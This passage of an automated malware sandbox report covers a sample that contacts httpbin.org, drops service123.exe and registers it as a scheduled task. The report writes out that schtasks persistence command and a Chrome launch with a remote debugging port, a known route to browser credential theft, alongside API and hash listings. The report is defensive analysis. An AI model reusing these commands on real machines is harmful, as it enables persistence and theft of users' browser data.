Dec 19, 2024 08:21:59.985344887 CET	160	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Thu, 19 Dec 2024 07:21:59 GMT Content-Type: text/html; charset=utf-8 Content-Length: 4 Connection: close Data Raw: 6f 6b 61 79 Data Ascii: okay

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.10	49703	98.85.100.80	443	7724	C:\Users\user\Desktop\rJvOqHxkuI.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 07:21:11 UTC	52	OUT	GET /ip HTTP/1.1 Host: httpbin.org Accept: /
2024-12-19 07:21:11 UTC	224	IN	HTTP/1.1 200 OK Date: Thu, 19 Dec 2024 07:21:11 GMT Content-Type: application/json Content-Length: 31 Connection: close Server: gunicorn/19.9.0 Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true
2024-12-19 07:21:11 UTC	31	IN	Data Raw: 7b 0a 20 20 22 6f 72 69 67 69 6e 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 0a 7d 0a Data Ascii: { "origin": "8.46.123.189"}

Target ID:	0
Start time:	02:21:04
Start date:	19/12/2024
Path:	C:\Users\user\Desktop\rJvOqHxkuI.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\rJvOqHxkuI.exe"
Imagebase:	0x980000
File size:	4'503'040 bytes
MD5 hash:	39CB781A70F40105FFDBB75E77AA6D7F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	02:21:48
Start date:	19/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default"
Imagebase:	0x7ff6c5c30000
File size:	3'242'272 bytes
MD5 hash:	83395EAB5B03DEA9720F8D7AC0D15CAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	02:21:49
Start date:	19/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2192 --field-trial-handle=1800,i,7000537074174027735,15973945356737895011,262144 /prefetch:8
Imagebase:	0x7ff6c5c30000
File size:	3'242'272 bytes
MD5 hash:	83395EAB5B03DEA9720F8D7AC0D15CAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	02:23:06
Start date:	19/12/2024
Path:	C:\Users\user\AppData\Local\Temp\service123.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\service123.exe"
Imagebase:	0xb30000
File size:	314'617'856 bytes
MD5 hash:	110FE44D33E426703CD712E879D34CBC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	02:23:06
Start date:	19/12/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\schtasks.exe" /create /tn "ServiceData4" /tr "C:\Users\user\AppData\Local\Temp\/service123.exe" /st 00:01 /du 9800:59 /sc once /ri 1 /f
Imagebase:	0x4a0000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	02:23:06
Start date:	19/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff620390000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	02:23:06
Start date:	19/12/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 7724 -s 1172
Imagebase:	0xcf0000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	02:23:10
Start date:	19/12/2024
Path:	C:\Users\user\AppData\Local\Temp\service123.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\/service123.exe
Imagebase:	0xb30000
File size:	314'617'856 bytes
MD5 hash:	110FE44D33E426703CD712E879D34CBC
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	02:24:03
Start date:	19/12/2024
Path:	C:\Users\user\AppData\Local\Temp\service123.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\/service123.exe
Imagebase:	0xb30000
File size:	314'617'856 bytes
MD5 hash:	110FE44D33E426703CD712E879D34CBC
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	02:25:02
Start date:	19/12/2024
Path:	C:\Users\user\AppData\Local\Temp\service123.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\/service123.exe
Imagebase:	0xb30000
File size:	314'617'856 bytes
MD5 hash:	110FE44D33E426703CD712E879D34CBC
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	0.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	50.4%
Total number of Nodes:	125
Total number of Limit Nodes:	4

Executed Functions

Function 00B3116C Relevance: 19.7, APIs: 13, Instructions: 200
sleepstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32 ref: 00B311B7
SetUnhandledExceptionFilter.KERNEL32 ref: 00B31238
__p__acmdln.MSVCRT ref: 00B31261
malloc.MSVCRT ref: 00B312EB
strlen.MSVCRT ref: 00B31323
malloc.MSVCRT ref: 00B3132E
memcpy.MSVCRT ref: 00B31344
GetStartupInfoA.KERNEL32 ref: 00B31433

Memory Dump Source

Source File: 00000009.00000002.3790768381.0000000000B31000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000009.00000002.3790722632.0000000000B30000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3790812212.0000000000B3A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3790885365.0000000000B3E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3790929515.0000000000B41000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_b30000_service123.jbxd

Similarity

API ID: malloc$ExceptionFilterInfoSleepStartupUnhandled__p__acmdlnmemcpystrlen
String ID:
API String ID: 1672962128-0
Opcode ID: 615b06096c5816b82a6d709ce7631e6bb38d10004824df318998c56ffa844742
Instruction ID: dc6a28bc02dfa3593a39d1bb119c9dc31817716fb78766bee1158ccc4cc1d566
Opcode Fuzzy Hash: 615b06096c5816b82a6d709ce7631e6bb38d10004824df318998c56ffa844742
Instruction Fuzzy Hash: F181AFB59043018FDB18DF68E99436E77F5FB44700F3089ADE9859B311DB75A809CB92

Function 00B315B0 Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 121
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_open.MSVCRT ref: 00B315CD
_exit.MSVCRT ref: 00B3161A
_write.MSVCRT ref: 00B3166A
_close.MSVCRT ref: 00B31679

Strings

terminated, xrefs: 00B31640
CONOUT$, xrefs: 00B315C6
@, xrefs: 00B38341

Memory Dump Source

Source File: 00000009.00000002.3790768381.0000000000B31000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000009.00000002.3790722632.0000000000B30000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3790812212.0000000000B3A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3790885365.0000000000B3E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3790929515.0000000000B41000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_b30000_service123.jbxd

Similarity

API ID: _close_exit_open_write
String ID: terminated$@$CONOUT$
API String ID: 28676597-491099378
Opcode ID: c1459509b76d3aaeea4fed0acb8b26730118b343aa8780ca8ac62dcde9ce5449
Instruction ID: ee2e27c8b45cddc06a6abed7ce3157a9afd19968e8b371eead2fcc8e268fbef3
Opcode Fuzzy Hash: c1459509b76d3aaeea4fed0acb8b26730118b343aa8780ca8ac62dcde9ce5449
Instruction Fuzzy Hash: 3D4137B09083009FDB00EFB9D88566EBBF4EB84704F208969F899D7290EB74C8058B56

Function 6C8414B0 Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 121
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_open.MSVCRT ref: 6C8414CD
_exit.MSVCRT ref: 6C84151A
_write.MSVCRT ref: 6C84156A
_close.MSVCRT ref: 6C841579

Strings

terminated, xrefs: 6C841540
@, xrefs: 6C914AB1
CONOUT$, xrefs: 6C8414C6

Memory Dump Source

Source File: 00000009.00000002.3791452954.000000006C841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C840000, based on PE: true

Associated: 00000009.00000002.3791323719.000000006C840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791842718.000000006C91D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791989926.000000006C91F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792250537.000000006C968000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792442846.000000006C969000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792548808.000000006C96C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c840000_service123.jbxd

Similarity

API ID: _close_exit_open_write
String ID: terminated$@$CONOUT$
API String ID: 28676597-491099378
Opcode ID: 6b84b63c340a670bb1e1f749d60914e1f5f03465783d3969a469b05ffcea344e
Instruction ID: ef9b6bc955a9fa3937b05cca1329af9492f435afebe6ca89168720cba26b6f6d
Opcode Fuzzy Hash: 6b84b63c340a670bb1e1f749d60914e1f5f03465783d3969a469b05ffcea344e
Instruction Fuzzy Hash: 0D4169B0908309DFDB00DFB9C5456AEBBF4AB49308F118A2DE8A9D7A80E334D505CF56

Function 6C859C22 Relevance: 15.1, APIs: 10, Instructions: 110
sleepclipboardCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 6C859EB0: GetClipboardSequenceNumber.USER32 ref: 6C859EBE

Sleep.KERNELBASE ref: 6C859BFF
GetClipboardSequenceNumber.USER32 ref: 6C859C08

Memory Dump Source

Source File: 00000009.00000002.3791452954.000000006C841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C840000, based on PE: true

Associated: 00000009.00000002.3791323719.000000006C840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791842718.000000006C91D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791989926.000000006C91F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792250537.000000006C968000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792442846.000000006C969000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792548808.000000006C96C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c840000_service123.jbxd

Similarity

API ID: ClipboardNumberSequence$Sleep
String ID:
API String ID: 2948009381-0
Opcode ID: 427427cfd60088b3b7246ae5b2d27628571941278689a448b22d7d4e3afbf07f
Instruction ID: 9fb89d64c39677d8ac26dd596a7fdb0e967c3a8f953dc8d9d4a258a55966d79c
Opcode Fuzzy Hash: 427427cfd60088b3b7246ae5b2d27628571941278689a448b22d7d4e3afbf07f
Instruction Fuzzy Hash: 8A410AB09082058EDB10EF78D2885AEBBF0AF45709F814D2DE89583A40EB74D91ECB53

Function 00B381E0 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 116
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE(?,?,?,?,?,?,?,00B3138E,?,?,00006EA2,00B3138E), ref: 00B38271
GetProcAddress.KERNEL32 ref: 00B3828B
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,?,?,00B3138E,?,?,00006EA2,00B3138E), ref: 00B3829D

Strings

ehoYPkfWhVokJMBQVokJMBQaExv.dll, xrefs: 00B3824A
NKUGaMdqDCBMAQCywoWm, xrefs: 00B3827E
Failed to get function address. Error code: %d, xrefs: 00B382E0

Memory Dump Source

Source File: 00000009.00000002.3790768381.0000000000B31000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000009.00000002.3790722632.0000000000B30000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3790812212.0000000000B3A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3790885365.0000000000B3E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3790929515.0000000000B41000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_b30000_service123.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: Failed to get function address. Error code: %d$NKUGaMdqDCBMAQCywoWm$ehoYPkfWhVokJMBQVokJMBQaExv.dll
API String ID: 145871493-3680983564
Opcode ID: b47f40634255311cf925fe3432e4402dffb454c9aad02358a7322d494cc6f679
Instruction ID: d79148f5b21558a488cdef13c8aefeb21f7e2430553e68f063048714e288c6ee
Opcode Fuzzy Hash: b47f40634255311cf925fe3432e4402dffb454c9aad02358a7322d494cc6f679
Instruction Fuzzy Hash: F7319E72908B009FD704AFB8ED8955FBBF4EB85300F304968E99593250EF75D4058B93

Function 00B38230 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 62
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE(?,?,?,?,?,?,?,00B3138E,?,?,00006EA2,00B3138E), ref: 00B38271
GetProcAddress.KERNEL32 ref: 00B3828B
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,?,?,00B3138E,?,?,00006EA2,00B3138E), ref: 00B3829D
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,00B3138E,?,?,00006EA2,00B3138E), ref: 00B382BD
GetLastError.KERNEL32 ref: 00B382DA
FreeLibrary.KERNEL32 ref: 00B382F3

Strings

Failed to load DLL. Error code: %d, xrefs: 00B382C3
ehoYPkfWhVokJMBQVokJMBQaExv.dll, xrefs: 00B3824A
NKUGaMdqDCBMAQCywoWm, xrefs: 00B3827E

Memory Dump Source

Source File: 00000009.00000002.3790768381.0000000000B31000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000009.00000002.3790722632.0000000000B30000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3790812212.0000000000B3A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3790885365.0000000000B3E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3790929515.0000000000B41000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_b30000_service123.jbxd

Similarity

API ID: Library$ErrorFreeLast$AddressLoadProc
String ID: Failed to load DLL. Error code: %d$NKUGaMdqDCBMAQCywoWm$ehoYPkfWhVokJMBQVokJMBQaExv.dll
API String ID: 1397630947-2919006163
Opcode ID: 55740dca9b720455c59ccca9485ff2f273c2914dc77e1f300b356d26fcccd09e
Instruction ID: 636e93df6bd4606a0950fb4796e3c0d7af4d84efb2750a09774ac2816602ce56
Opcode Fuzzy Hash: 55740dca9b720455c59ccca9485ff2f273c2914dc77e1f300b356d26fcccd09e
Instruction Fuzzy Hash: 8211B272804B009FD704AFB8DE4565EBBE0EB45300F308AA9E96597155EF76D5058A83

Function 00B313C9 Relevance: 12.1, APIs: 8, Instructions: 109
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetUnhandledExceptionFilter.KERNEL32 ref: 00B31238
__p__acmdln.MSVCRT ref: 00B31261
malloc.MSVCRT ref: 00B312EB
strlen.MSVCRT ref: 00B31323
malloc.MSVCRT ref: 00B3132E
memcpy.MSVCRT ref: 00B31344
_amsg_exit.MSVCRT ref: 00B313EA
_initterm.MSVCRT ref: 00B3140C

Memory Dump Source

Source File: 00000009.00000002.3790768381.0000000000B31000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000009.00000002.3790722632.0000000000B30000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3790812212.0000000000B3A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3790885365.0000000000B3E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3790929515.0000000000B41000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_b30000_service123.jbxd

Similarity

API ID: malloc$ExceptionFilterUnhandled__p__acmdln_amsg_exit_inittermmemcpystrlen
String ID:
API String ID: 2053141405-0
Opcode ID: 2c65687a3ff02bdf908db4f14fd8dcd5da4957b614f2695e089d4053183728f9
Instruction ID: e092c9ff5f14199034356bb3db08784fab3d601b1939657d9ba99624c11a9716
Opcode Fuzzy Hash: 2c65687a3ff02bdf908db4f14fd8dcd5da4957b614f2695e089d4053183728f9
Instruction Fuzzy Hash: 594106B59083018BDB18EF68E9A035EBBE4FB44700F3049ADE98597311DB74A846CF82

Function 00B311A3 Relevance: 10.6, APIs: 7, Instructions: 115
sleepstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32 ref: 00B311B7
SetUnhandledExceptionFilter.KERNEL32 ref: 00B31238
__p__acmdln.MSVCRT ref: 00B31261
malloc.MSVCRT ref: 00B312EB
strlen.MSVCRT ref: 00B31323
malloc.MSVCRT ref: 00B3132E
memcpy.MSVCRT ref: 00B31344
_amsg_exit.MSVCRT ref: 00B313EA
_initterm.MSVCRT ref: 00B3140C

Memory Dump Source

Source File: 00000009.00000002.3790768381.0000000000B31000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000009.00000002.3790722632.0000000000B30000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3790812212.0000000000B3A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3790885365.0000000000B3E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3790929515.0000000000B41000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_b30000_service123.jbxd

Similarity

API ID: malloc$ExceptionFilterSleepUnhandled__p__acmdln_amsg_exit_inittermmemcpystrlen
String ID:
API String ID: 2230096795-0
Opcode ID: 5f9367dd285348f4a40388f97b9a6968c5ac5d1385f176c5a34cbf2a29e8867f
Instruction ID: 9b1e75fea8ae5d863b2ed19198f1fa3e68b3e9bd7852657d49434b1cabf741cd
Opcode Fuzzy Hash: 5f9367dd285348f4a40388f97b9a6968c5ac5d1385f176c5a34cbf2a29e8867f
Instruction Fuzzy Hash: F74117B5A043018BDB18EF68E9A435EBBF4FB44740F30496DE8859B350DB74A846CF92

Function 00B31160 Relevance: 9.1, APIs: 6, Instructions: 131
sleepstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32 ref: 00B311B7
SetUnhandledExceptionFilter.KERNEL32 ref: 00B31238
__p__acmdln.MSVCRT ref: 00B31261
malloc.MSVCRT ref: 00B312EB
strlen.MSVCRT ref: 00B31323
malloc.MSVCRT ref: 00B3132E
memcpy.MSVCRT ref: 00B31344
GetStartupInfoA.KERNEL32 ref: 00B31433

Memory Dump Source

Source File: 00000009.00000002.3790768381.0000000000B31000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000009.00000002.3790722632.0000000000B30000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3790812212.0000000000B3A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3790885365.0000000000B3E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3790929515.0000000000B41000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_b30000_service123.jbxd

Similarity

API ID: malloc$ExceptionFilterInfoSleepStartupUnhandled__p__acmdlnmemcpystrlen
String ID:
API String ID: 1672962128-0
Opcode ID: 87f2bb201382b55a09b05fa58b52903d75ebdd2019fe3dbf2cc4a670c7d19a50
Instruction ID: ae2a23d28aca22be27397a1f76b6eeb56537b768b0d9ec43dc76ce953509d41a
Opcode Fuzzy Hash: 87f2bb201382b55a09b05fa58b52903d75ebdd2019fe3dbf2cc4a670c7d19a50
Instruction Fuzzy Hash: 7A5138B5A043018FDB18DF68E9A075EBBF4FB48700F30896DE9449B350DB71A806CB92

Function 6C859B70 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 32
sleepsynchronizationclipboardCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenMutexA.KERNEL32 ref: 6C859B99
CreateMutexA.KERNELBASE ref: 6C859BE3
Sleep.KERNELBASE ref: 6C859BFF
GetClipboardSequenceNumber.USER32 ref: 6C859C08

Strings

uwwcACVDotPKkwKQKpzK, xrefs: 6C859B82, 6C859BCC

Memory Dump Source

Source File: 00000009.00000002.3791452954.000000006C841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C840000, based on PE: true

Associated: 00000009.00000002.3791323719.000000006C840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791842718.000000006C91D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791989926.000000006C91F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792250537.000000006C968000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792442846.000000006C969000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792548808.000000006C96C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c840000_service123.jbxd

Similarity

API ID: Mutex$ClipboardCreateNumberOpenSequenceSleep
String ID: uwwcACVDotPKkwKQKpzK
API String ID: 3689039344-827300870
Opcode ID: 6cf278e7ae2b213abee05820ab578603b01852189f23b7e418be684b29deef7c
Instruction ID: b1ef92d0f41a718760feefd8d31955e4163712e08665789e5c7789f023f02422
Opcode Fuzzy Hash: 6cf278e7ae2b213abee05820ab578603b01852189f23b7e418be684b29deef7c
Instruction Fuzzy Hash: 1501D6B15083069FEB10EF65C54A76BBFF4AB45744F118C1CE89893680E774D159CB92

Function 00B31296 Relevance: 5.1, APIs: 4, Instructions: 80
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

malloc.MSVCRT ref: 00B312EB
strlen.MSVCRT ref: 00B31323
malloc.MSVCRT ref: 00B3132E
memcpy.MSVCRT ref: 00B31344

Memory Dump Source

Source File: 00000009.00000002.3790768381.0000000000B31000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000009.00000002.3790722632.0000000000B30000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3790812212.0000000000B3A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3790885365.0000000000B3E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3790929515.0000000000B41000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_b30000_service123.jbxd

Similarity

API ID: malloc$memcpystrlen
String ID:
API String ID: 3553820921-0
Opcode ID: fc3cab826aadf1b1ead388b171c4993ff3d448d2598f8b47680c56c735aa62d5
Instruction ID: bdfc476b98e769418fb72ae09912e7bc43cb7400ee89268b7e229724b79a5876
Opcode Fuzzy Hash: fc3cab826aadf1b1ead388b171c4993ff3d448d2598f8b47680c56c735aa62d5
Instruction Fuzzy Hash: 9E3147B59043158FCB19DF68E99039EBBF1FB48700F24896DE948A7311DB35A806CF81

Function 00B313BB Relevance: 5.1, APIs: 4, Instructions: 66
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

malloc.MSVCRT ref: 00B312EB
strlen.MSVCRT ref: 00B31323
malloc.MSVCRT ref: 00B3132E
memcpy.MSVCRT ref: 00B31344

Memory Dump Source

Source File: 00000009.00000002.3790768381.0000000000B31000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000009.00000002.3790722632.0000000000B30000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3790812212.0000000000B3A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3790885365.0000000000B3E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3790929515.0000000000B41000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_b30000_service123.jbxd

Similarity

API ID: malloc$memcpystrlen
String ID:
API String ID: 3553820921-0
Opcode ID: dab988070934f28f27ff1b1a840fd9d2410fbd7d12002079a45a871eae1e06ab
Instruction ID: cdab5badf43d77eac96a1ad63d1801b5a2701c601cc5f095b8518398850429f1
Opcode Fuzzy Hash: dab988070934f28f27ff1b1a840fd9d2410fbd7d12002079a45a871eae1e06ab
Instruction Fuzzy Hash: 7021D5B59057158FCB19DF68E99065DB7F1FB48700F21896DE948A7310DB30A906CF81

Function 6C85B3F0 Relevance: 1.4, APIs: 1, Instructions: 144
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000009.00000002.3791452954.000000006C841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C840000, based on PE: true

Associated: 00000009.00000002.3791323719.000000006C840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791842718.000000006C91D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791989926.000000006C91F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792250537.000000006C968000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792442846.000000006C969000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792548808.000000006C96C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c840000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dd33861c21abe4092744e3a33a89a41d4b7c019e00c5e79dc00b46268f14091c
Instruction ID: b2e74f12e06522642b6cb57dc7c4ed02c58c86450f693fc760daf353ffe5bbea
Opcode Fuzzy Hash: dd33861c21abe4092744e3a33a89a41d4b7c019e00c5e79dc00b46268f14091c
Instruction Fuzzy Hash: 1F5181B6B093168FC711DF1ED28252ABBF0FF85308B954969D4588BB54E370E814CBA2

Function 6C85B560 Relevance: 1.3, APIs: 1, Instructions: 95
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000009.00000002.3791452954.000000006C841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C840000, based on PE: true

Associated: 00000009.00000002.3791323719.000000006C840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791842718.000000006C91D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791989926.000000006C91F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792250537.000000006C968000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792442846.000000006C969000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792548808.000000006C96C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c840000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
